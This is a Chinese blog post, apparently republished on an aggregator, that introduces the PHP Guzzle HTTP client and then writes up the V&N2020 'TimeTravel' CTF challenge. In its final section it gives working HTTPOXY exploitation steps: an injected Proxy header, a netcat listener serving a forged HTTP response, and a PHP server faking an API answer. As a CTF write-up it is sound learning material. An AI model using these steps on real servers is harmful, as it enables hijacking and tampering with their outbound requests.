ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[V&N2020 公开赛]TimeTravel(guzzlehttp/guzzle使用以及HTTPOXY漏洞)

2021-05-21 20:00:23  阅读:295  来源: 互联网

标签:HTTPOXY HTTP TimeTravel ip guzzlehttp content Guzzle composer php


文章目录

0X01 Guzzle简介

Guzzle是一个使得利用PHP实现发送HTTP 请求,方便和web service集成的PHP 客户端模拟组件。

Guzzle介绍

0X01 Guzzle实验

首先下载Guzzle
然后cd到网站根目录,执行Composer命令下载Guzzle:(Linux环境)

cd /var/www/html
composer require guzzlehttp/guzzle

因为报错composer http://packagist.org could not be fully loaded,重新设置composer packagist,命令如下:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

下载完成后会生成一个vender文件夹:
在这里插入图片描述
在vender同级目录新建了一个guzzle.php来写例子。服务器上hello.php的内容为

<?php
    echo "Hello ".$_REQUEST["name"]."\n"
?>

【GET请求】

<?php
	require __DIR__ . '/vendor/autoload.php';
	
	use GuzzleHttp\Client;
	
	$client = new Client();
	$response = $client->get('http://121.196.196.190/hello.php?name=ink');
	$content = $response->getBody();
	echo $content;

在这里插入图片描述

【POST请求】

<?php 
	require __DIR__ . '/vendor/autoload.php';
	
	use GuzzleHttp\Client;
	
	$client = new Client();
 
    //构造url
    $url = 'http://121.196.196.190/hello.php';
 
    //post请求
    $res = $client->request('POST', $url, [
        'form_params' => [
            'name'=>'qaq'
        ]
    ]);
 
	$content = $res->getBody();
	echo $content;
?>

在这里插入图片描述

【设置代理IP】

服务器上代码,作用为输出用户ip

<?php
	error_reporting (E_ERROR | E_WARNING | E_PARSE);
	if($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]){
	$ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
	}
	
	elseif($HTTP_SERVER_VARS["HTTP_CLIENT_IP"]){
	$ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
	}
	
	elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"]){
	$ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
	}
	
	elseif (getenv("HTTP_X_FORWARDED_FOR")){
	$ip = getenv("HTTP_X_FORWARDED_FOR");
	}
	
	elseif (getenv("HTTP_CLIENT_IP")){
	$ip = getenv("HTTP_CLIENT_IP");
	}
	
	elseif (getenv("REMOTE_ADDR")){
	$ip = getenv("REMOTE_ADDR");
	}
	
	else{
	$ip = "Unknown";
	}
	
	echo $ip;
?>

这部分在在windows上面实验,因为有vpn好测试代理结果

Composer 的安装

Wondows 平台上,我们只需要下载 Composer-Setup.exe 后,一步步安装即可。

需要注意的是你需要开启 openssl 配置,我们打开 php 目录下的 php.ini,将 extension=php_openssl.dll 前面的分号去掉就可以了。

安装成功后,我们可以通过命令窗口(cmd) 输入 composer --version 命令来查看是否安装成功:
在这里插入图片描述
接下来我们可以更改阿里云 Composer 全量镜像:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

然后下载

cd D:\phpStudy\WWW\Vulnerability\GuzzleHttp_Client
composer require guzzlehttp/guzzle

在这里插入图片描述
开始测试代理功能,首先是没有代理的

<?php 
    require './vendor/autoload.php';
 
    //实例化客户端
    $client = new GuzzleHttp\Client(['headers'=>[
		"Accept"=>"*/*",
    	"Accept-Encoding"=>"gzip, deflate",
    	"User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
	]]); 
    //构造url
    $url = 'http://121.196.196.190/hello.php';
 
    //设置代理请求
    $res = $client->request('GET', $url);
 
    //返回状态码
	$content = $res->getBody();
	echo $content;
?>

这时候ip为117.136.67.147
在这里插入图片描述
然后再把vpn打开,端口为1080
在这里插入图片描述

给代码加上代理'proxy' => '127.0.0.1:1080'

<?php 
    require './vendor/autoload.php';
 
    //实例化客户端
    $client = new GuzzleHttp\Client(['headers'=>[
		"Accept"=>"*/*",
    	"Accept-Encoding"=>"gzip, deflate",
    	"User-Agent"=>"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
	]]); 
    //构造url
    $url = 'http://121.196.196.190/hello.php';
 
    //设置代理请求
    $res = $client->request('GET', $url, [
        'proxy' => '127.0.0.1:1080'
    ]);
 
    //返回状态码
	$content = $res->getBody();
	echo $content;
?>

代理成功
在这里插入图片描述

0x03 TimeTravel题目复现

漏洞说明

HTTPOXY漏洞说明

漏洞原因

在CGI(RFC 3875)的模式的时候, 会把请求中的Header, 加上HTTP_ 前缀, 注册为环境变量, 所以如果你在Header中发送一个Proxy:xxxxxx, 那么PHP就会把他注册为HTTP_PROXY环境变量, 于是getenv(“HTTP_PROXY”)就变成可被控制的了. 那么如果你的所有类似的请求, 都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了…

方法一

创建一个1.txt

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}

vps上执行nc -lvp 8888 < 1.txt

burp上添加一个Proxy头
在这里插入图片描述
返回包中得到flag

方法二,创建一个临时服务器

php的

mkdir api
cd api/
echo '{"success":true}'>eligible
php -S 0:7777 -t ../

成功拿到flag
在这里插入图片描述

标签:HTTPOXY,HTTP,TimeTravel,ip,guzzlehttp,content,Guzzle,composer,php
来源: https://blog.csdn.net/qq_44657899/article/details/117092213

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有